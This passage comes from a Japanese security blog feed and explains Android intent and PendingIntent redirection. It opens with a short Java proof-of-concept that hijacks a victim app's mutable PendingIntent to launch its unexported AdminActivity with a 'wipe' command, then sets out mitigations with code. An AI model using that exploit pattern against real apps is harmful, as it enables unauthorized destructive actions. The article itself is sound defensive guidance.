&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParcelableExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fillIn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;fillIn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setClassName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.victim"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"com.victim.internal.AdminActivity"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;fillIn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cmd"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"wipe"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fillIn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// launches VictimApp's internal activity as VictimApp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;AdminActivity&lt;/code&gt;はエクスポートされていないにもかかわらず、システムがVictimAppのUIDで起動を実行するため、起動は成功します。&lt;/p&gt;
&lt;h3 id="従来のインテントリダイレクションとの違い"&gt;従来のインテントリダイレクションとの違い&lt;/h3&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;従来のインテントリダイレクション&lt;/th&gt;
&lt;th&gt;PendingIntentリダイレクション&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;攻撃者が渡すもの&lt;/td&gt;
&lt;td&gt;被害者への生の&lt;code&gt;Intent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;なし（攻撃者は被害者&lt;em&gt;から&lt;/em&gt;トークンを受け取る）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;被害者の役割&lt;/td&gt;
&lt;td&gt;Intentを取り出してディスパッチする&lt;/td&gt;
&lt;td&gt;暗黙的かつミュータブルなIntentをラップしたPendingIntentを渡す&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intentが実行されるアイデンティティ&lt;/td&gt;
&lt;td&gt;被害者（混乱した代理人）&lt;/td&gt;
&lt;td&gt;被害者（ケイパビリティの委譲）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;主な緩和策&lt;/td&gt;
&lt;td&gt;転送するIntentを検証／フィルタリングする。代わりにPendingIntentを使う&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt;を使う。明示的なIntentを使う&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;被害は同じで、コードが被害者として実行されます。しかし、攻撃の形は逆転しています。従来のリダイレクションには、被害者が攻撃者のデータを受け入れる&lt;em&gt;入力&lt;/em&gt;経路が必要です。PendingIntentリダイレクションには、被害者がケイパビリティを漏えいさせる&lt;em&gt;出力&lt;/em&gt;経路が必要です。&lt;/p&gt;
&lt;h2 id="緩和策"&gt;緩和策&lt;/h2&gt;
&lt;h3 id="1. resolveactivity()で検証する"&gt;1. &lt;code&gt;resolveActivity()&lt;/code&gt;で検証する&lt;/h3&gt;
&lt;p&gt;インテントを転送する前に、それが&lt;strong&gt;安全で想定どおりの&lt;/strong&gt;コンポーネントに解決されることを確認します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;forwarded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParcelableExtra&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;forwarded&lt;/span&gt;&lt;span class="o"&gt;?.&lt;/span&gt;&lt;span class="na"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;resolved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;it&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;resolveActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packageManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resolved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;resolved&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;packageName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;packageName&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// GOOD &amp;mdash; only allow intents targeting our own package&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2. コンポーネントの許可リスト"&gt;2. コンポーネントの許可リスト&lt;/h3&gt;
&lt;p&gt;許可するターゲットコンポーネントを明示的なセットとして管理します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ALLOWED_TARGETS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;setOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"com.myapp.HomeActivity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"com.myapp.SettingsActivity"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;safeForward&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParcelableExtra&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;comp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;component&lt;/span&gt;&lt;span class="o"&gt;?.&lt;/span&gt;&lt;span class="na"&gt;className&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;comp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ALLOWED_TARGETS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="3. intentsanitizer(androidx)を使う"&gt;3. &lt;code&gt;IntentSanitizer&lt;/code&gt;（AndroidX）を使う&lt;/h3&gt;
&lt;p&gt;Jetpackの&lt;code&gt;IntentSanitizer&lt;/code&gt; APIは、危険なフィールドを取り除くための宣言的なビルダー形式のAPIを提供します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;sanitizer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IntentSanitizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;allowComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ComponentName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HomeActivity&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;allowAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ACTION_VIEW&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;allowDataWithAuthority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"myapp.example.com"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;allowExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"safe_key"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;clean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sanitizer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sanitizeByFiltering&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;untrustedIntent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="4. エクスポートするコンポーネントを制限する"&gt;4. エクスポートするコンポーネントを制限する&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;AndroidManifest.xml&lt;/code&gt;を見直し、本当に必要な場合にのみコンポーネントをエクスポートするようにします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;&amp;lt;!-- GOOD &amp;mdash; not exported; cannot be reached externally --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;".InternalSettingsActivity"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"false"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

&lt;span class="cm"&gt;&amp;lt;!-- If exported is required, protect with a permission --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;".RouterActivity"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;android:permission=&lt;/span&gt;&lt;span class="s"&gt;"com.myapp.permission.INTERNAL"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="5. イミュータブルなpendingintent"&gt;5. イミュータブルなPendingIntent&lt;/h3&gt;
&lt;p&gt;PendingIntentが本当にミュータブルである必要がない限り、常に&lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt;を使用します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_IMMUTABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_UPDATE_CURRENT&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="6. 危険なインテントフラグを除去する"&gt;6. 危険なインテントフラグを除去する&lt;/h3&gt;
&lt;p&gt;転送する前に、URI権限を付与する可能性のあるフラグを削除します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;stripDangerousFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;removeFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_GRANT_READ_URI_PERMISSION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_GRANT_WRITE_URI_PERMISSION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_GRANT_PERSISTABLE_URI_PERMISSION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;or&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_GRANT_PREFIX_URI_PERMISSION&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="よくある誤解"&gt;よくある誤解&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;誤解&lt;/th&gt;
&lt;th&gt;実際&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;「&lt;code&gt;android:exported=false&lt;/code&gt;を設定すれば、コンポーネントは安全になる」&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;エクスポートされたプロキシアクティビティがそのコンポーネントにインテントを転送している場合、コンポーネントは事実上到達可能です。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;「インテントのアクションを検証しているので守られている」&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;攻撃者はコンポーネント、データURI、エクストラ、フラグといった&lt;strong&gt;すべての&lt;/strong&gt;フィールドを制御できます。アクションだけを検証しても不十分です。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;「ターゲットコンポーネントの権限チェックが攻撃者をブロックする」&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;転送されたインテントは&lt;strong&gt;被害者アプリの&lt;/strong&gt;アイデンティティで実行され、被害者アプリは必要な権限をすでに保持しています。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;「脆弱なのは&lt;code&gt;startActivity()&lt;/code&gt;だけだ」&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sendBroadcast()&lt;/code&gt;、&lt;code&gt;startService()&lt;/code&gt;、&lt;code&gt;bindService()&lt;/code&gt;、&lt;code&gt;startActivityForResult()&lt;/code&gt;もすべて影響を受けます。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;em&gt;「ディープリンクはWebのURLを開くだけなので安全だ」&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;intent://&lt;/code&gt;スキームを使うとURIから任意のインテントを構築でき、一般的なURLに関する前提を回避できます。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="現実世界への影響"&gt;現実世界への影響&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TikTok（2022年）&lt;/strong&gt;：研究者は、インテントリダイレクションを連鎖させることで、認証トークンを扱うエクスポートされていないアクティビティに到達し、ユーザーアカウントを乗っ取れることを実証しました。この検出結果には多額のバグバウンティ報奨金が支払われました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Security Bulletins&lt;/strong&gt;：複数のAndroidセキュリティ情報（Android Security Bulletins）で、システムレベルのコンポーネントにおけるインテントリダイレクションの欠陥が修正されており、純正コードでさえ無縁ではないことを示しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;バグバウンティの傾向&lt;/strong&gt;：インテントリダイレクションは、HackerOneやBugcrowdなどのプラットフォームにおいて、Androidの脆弱性カテゴリの上位に常に登場しており、報奨金の額もその影響の大きさを反映しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめ:多層防御"&gt;まとめ：多層防御&lt;/h2&gt;
&lt;p&gt;インテントリダイレクションのリスクを単独で排除できる修正はありません。多層的なアプローチが不可欠です。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エクスポートを最小限にする&lt;/strong&gt;：外部からのアクセスが本当に必要なコンポーネントだけをエクスポートする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;転送するすべてのインテントを検証する&lt;/strong&gt;：&lt;code&gt;resolveActivity()&lt;/code&gt;、コンポーネントの許可リスト、&lt;code&gt;IntentSanitizer&lt;/code&gt;を使う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;危険なフラグを除去する&lt;/strong&gt;：転送する前にURI付与フラグを削除する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;イミュータブルなPendingIntentを使う&lt;/strong&gt;：&lt;code&gt;FLAG_IMMUTABLE&lt;/code&gt;をデフォルトにする&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機密性の高い結果を保護する&lt;/strong&gt;：検証されていない呼び出し元に&lt;code&gt;setResult()&lt;/code&gt;経由で内部データを返さない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;静的解析を組み込む&lt;/strong&gt;：Android LintやSemgrepなどのツールで、リリース前にCI/CDで設定ミスを検出できる&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;外部から受け取るすべてのインテントを&lt;strong&gt;信頼できない入力&lt;/strong&gt;として扱い、これらの制御を一貫して適用することで、Android開発者はインテントリダイレクションという攻撃ベクトルを効果的に無力化できます。&lt;/p&gt;</content><category term="Security"/><category term="android"/><category term="mobile security"/><category term="intent redirection"/></entry><entry><title>HarmonyOSアプリのスキャンとHuawei AppGalleryのスキャンに対応</title><link href="https://blog.ostorlab.co/ja/vulnerability-scanner-harmonyos-huawei-appgallery.html" rel="alternate"/><published>2026-04-20T16:00:00+02:00</published><updated>2026-04-20T16:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-04-20:/ja/vulnerability-scanner-harmonyos-huawei-appgallery.html</id><summary type="html">&lt;p&gt;HarmonyOSアプリとHuawei AppGalleryのリリースに対応する脆弱性スキャナー：Ostorlabは自動化された再現性のあるセキュリティスキャンを追加し、チームがHuaweiで配信されるモバイルアプリを継続的に評価し、より迅速に問題を修正できるようにします。&lt;/p&gt;</summary><content 